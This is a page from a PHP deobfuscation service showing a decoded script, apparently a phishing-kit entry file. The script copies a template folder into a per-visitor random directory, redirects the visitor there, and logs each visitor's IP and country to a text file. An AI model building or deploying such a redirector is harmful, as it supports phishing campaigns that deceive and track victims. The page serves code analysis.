Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $random=$_SERVER['REMOTE_ADDR'] ; $md5=md5("$random"); $rt = substr($md5, 0, -25)..
Decoded Output download
<?php
$random=$_SERVER['REMOTE_ADDR'] ;
$md5=md5("$random");
$rt = substr($md5, 0, -25);
$ip=$_SERVER['REMOTE_ADDR'];
$details = json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=$ip"));
$continent=$details->geoplugin_continentCode;
$country=$details->geoplugin_countryCode;
$dst = $rt ;
function recurse_copy($src,$dst) {
$dir = opendir($src);
@mkdir($dst);
while(false !== ( $file = readdir($dir)) ) {
if(( $file != '.' ) && ( $file != '..' )) {
if ( is_dir($src . '/' . $file) ) {
recurse_copy($src . '/' . $file,$dst . '/' . $file);
}
else {
copy($src . '/' . $file,$dst . '/' . $file);
}
}
}
closedir($dir);
}
$src="TR";
recurse_copy( $src, $dst );
header("location:$dst/");
$ip = getenv("REMOTE_ADDR");
$file = fopen("Vu.txt","a");
fwrite($file,$ip." $country |> ".gmdate ("Y-n-d")." ----> ".gmdate ("H:i:s")."
");
?>
Did this file decode correctly?
Original Code
<?php
$random=$_SERVER['REMOTE_ADDR'] ;
$md5=md5("$random");
$rt = substr($md5, 0, -25);
$ip=$_SERVER['REMOTE_ADDR'];
$details = json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=$ip"));
$continent=$details->geoplugin_continentCode;
$country=$details->geoplugin_countryCode;
$dst = $rt ;
function recurse_copy($src,$dst) {
$dir = opendir($src);
@mkdir($dst);
while(false !== ( $file = readdir($dir)) ) {
if(( $file != '.' ) && ( $file != '..' )) {
if ( is_dir($src . '/' . $file) ) {
recurse_copy($src . '/' . $file,$dst . '/' . $file);
}
else {
copy($src . '/' . $file,$dst . '/' . $file);
}
}
}
closedir($dir);
}
$src="TR";
recurse_copy( $src, $dst );
header("location:$dst/");
$ip = getenv("REMOTE_ADDR");
$file = fopen("Vu.txt","a");
fwrite($file,$ip." $country |> ".gmdate ("Y-n-d")." ----> ".gmdate ("H:i:s")."\n");
?>
Function Calls
md5 | 1 |
substr | 1 |
json_decode | 1 |
file_get_contents | 1 |
Stats
MD5 | 2e7eb8f5d4c268ed153f362027ab5331 |
Eval Count | 0 |
Decode Time | 59 ms |